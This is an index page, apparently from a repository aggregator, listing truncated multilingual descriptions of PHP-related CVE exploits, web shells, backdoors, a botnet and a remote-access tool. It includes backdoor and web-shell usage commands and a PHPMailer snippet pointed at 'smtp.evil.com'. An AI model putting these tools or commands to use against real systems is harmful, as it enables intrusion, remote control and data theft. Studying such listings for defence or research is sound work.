CVE-2022-22909

CVE-2022-22909 Hotel Druid 3.0.3 - Remote Code Execution RCE Exploit von kaal Exploits 1. HotelDruidExploit.py Dieser Exploit erstellt einen neuen Raum mit unserem PHP-Payload als Raumnamen. Verwendung: $ ./HotelDruidExploit.py -h $ ./HotelDruidExploit.py -u http://127.0.0.1/hoteldruid 2...

Jatayu

JATAYU Tarnfähige eigenständige PHP-Web-Shell FUNKTIONEN HTTP-Header-basierte Authentifizierung. 100 % unentdeckbar. Wechsel der Ausführungsfunktion. Nichts Besonderes VERWENDUNG GET /test/jatayu.php?fn=1&&cmd=whoami Host : http://test.com Authtoken : bb3b1a1f-0447-42a6-955a-88681fb88499 FUNKTION...

CVE-2023-36845-POC

CVE-2023-36845 PoC Automatisierungsskript Dieses Skript bietet eine automatisierte Proof-of-Concept PoC für die als CVE-2023-36845 identifizierte Sicherheitslücke, die die J-Web-Komponente von Juniper Networks Junos OS auf EX- und SRX-Serie-Geräten betrifft. Es zeigt die Möglichkeit der...

BlackNET

BlackNET 😈 VB.NET का उपयोग करके विकसित एक सुंदर और सुरक्षित PHP पैनल के साथ मुफ्त, उन्नत और आधुनिक Windows botnet। BlackNET के बारे में 🤓 VB.NET का उपयोग करके निर्मित एक सुंदर और सुरक्षित PHP पैनल के साथ मुफ्त, उन्नत और आधुनिक Windows botnet। यह बॉटनेट नियंत्रक बहुत सारी सुविधाओं और सबसे सुरक्षित...

defenselessV1

defenselessV1 Defenseless ist eine verwundbare Webanwendung, geschrieben in PHP/MySQL. Dies ist die erste Version dieser Anwendung. Der Zweck dieser Anwendung ist es, Sicherheitsbewusstsein bei Entwicklern und Neulingen im Bereich Anwendungssicherheit zu schaffen. Sie wird bald mit weiteren Fehle...

D-RAT_VB.NET_MySQL_PHP

D-RATVB.NETMySQLPHP D-RAT VB.NET+MySQL+PHP Das Projekt besteht aus dem "D-RAT"-Server und dem "D-STUB"-Client. Programmiersprachen für Client und Server: "VB.NET Framework 2" Datenbank: "MySQL" Webseite: "PHP" https://www.youtube.com/watch?v=opBbmQ5BRFk...

DolibabyPhp

DolibabyPhp Um exploit de RCE autenticado para Dolibarr ERP/CRM CVE-2023-30253. Instalação Você pode instalar o pacote a partir do repositório PyPi com pip ou usar git clone para clonar o código-fonte diretamente do GitHub. pip install dolibabyphp Usage Usage: dolibabyphp OPTIONS TARGETURL USERNA...

CVE-2026-65883

CVE-2026-65883 — Aimy Captcha-Less Form Guard = 20.0 Campo clfgd → Recuperação XOR → unserialize → FormattedtextLogger → RCE Visão Geral Injeção de Objeto PHP não autenticada no Aimy Captcha-Less Form Guard para Joomla. O método onCheckAnswer decodifica em base64 o campo POST clfgd controlado pel...

ExWA

ExWa WhatsApp für CLI mit API ExWa ist ein einfaches Tool, geschrieben in PHP, das dazu dient, eine WhatsApp-Version für die CLI mit Hilfe der API von rapiwha.com zu nutzen. Installation : $ git clone https://github.com/dalpan/ExWa $ cd ExWa $ php exwa.php Nutzung : Registrieren Sie sich zuerst a...

cve-2024-0012_9474-panos_authbypass_reproduction

CVE-2024-0012 / CVE-2024-9474 — Bypass de Autenticação no PAN-OS → Cadeia de Escalação de Privilégios CVE| Descrição| CVSS ---|---|--- CVE-2024-0012| Bypass de autenticação na interface de gerenciamento do PAN-OS| 9.3 CVE-2024-9474| Escalação de privilégios no PAN-OS| 6.9 Quando encadeadas, essas...

CVE-2025-26199

🛡️ CVE-2025-26199 — Unsichere Passwortübertragung im Klartext in CloudClassroom-PHP-Project v1.0 📄 Beschreibung CloudClassroom-PHP-Project v1.0 ist anfällig für unsichere Übertragung von Benutzeranmeldedaten. Während des Authentifizierungsprozesses werden Passwörter über unverschlüsseltes HTTP...

CVE-2016-3141

CVE-2016-3141 1. Details zur Schwachstelle. Eine Use-after-Free-Schwachstelle in wddx.c in der WDDX-Erweiterung in PHP vor 5.5.33 und 5.6.x vor 5.6.19 erlaubt entfernten Angreifern, durch das Auslösen eines wddxdeserialize-Aufrufs auf XML-Daten, die ein manipuliertes var-Element enthalten, einen...

CVE-2021-44967

CVE-2021-44967 - Authenticatedprivileged RCE Authentifizierte privilegierte Remote-Befehlsausführung in LimeSurvey Version 5.2.4 durch Hochladen und Installieren von Plugins erlaubt einem Remote-Benutzer das Hochladen beliebiger PHP-Code-Dateien. Verwendung python3 exploit.py --url --user...

tinyshell

tinyshell Kleine PHP-Shell, gesteuert von Python-Client, Verbindung über Protokollmethode Funktionen connect with direct session with no need for reverse connection . support password protection . can be binded to any file with no damage . using GET/POST request with error handling . Verwendung t...

backcookie

backcookie Pequeno backdoor usando cookie. ========== Example one: python backcookie.py -u http://target.com/shell.php -c namecookie Example two: python backcookie.py --url http://target.com/shell.php --cookie namecookie Comando personalizado binfo, você obtém informações objetivas @pwned:$ binfo...

CVE-2017-5223

CVE-2017-5223 IsSMTP; $mail-Host = "smtp.evil.com"; $mail-Port = 25; $mail-SMTPAuth = true; $mail-CharSet = "UTF-8"; $mail-Encoding = "base64"; $mail-Username = "[email protected]"; $mail-Password = "tes1234t"; $mail-Subject = "hello"; $mail-From = "[email protected]"; $mail-FromName =...

CVE-2025-34085-Multi-target

CVE-2025-34085 Multi-Ziel-RCE-Scanner Massenausbeutungsscanner für CVE-2025-34085 — eine nicht authentifizierte Remote-Codeausführungsschwachstelle im WordPress Simple File List Plugin. Dieses Tool lädt eine als Bild getarnte PHP-Nutzlast hoch, benennt sie über eine anfällige Datei-Engine um und...

Test-7-2-1-PHP-CVE-2018-5711

Este repositorio nao tem um README...

CVE-2024-4577-RCE

PHP CGI Argumenteinschleusung CVE-2024-4577 RCE 📜 Beschreibung In PHP-Versionen 8.1. vor 8.1.29, 8.2. vor 8.2.20, 8.3. vor 8.3.8 kann Windows unter Verwendung von Apache und PHP-CGI auf Windows, wenn das System so eingerichtet ist, dass bestimmte Codepages verwendet werden, das „Best-Fit“-Verhalt...

CVE-2025-49132

CVE-2025-49132 - RCE não autenticada no Pterodactyl Panel / |\ \ / /| | | / | | | | || | / | || / | | \ V / | || / / | |/ / | | | | , /| || \ / / | / || /| //||/ || // ||/ /| Exploit para Pterodactyl Panel ≤ 1.11.10 - LFI não autenticado para RCE. A Vulnerabilidade O endpoint...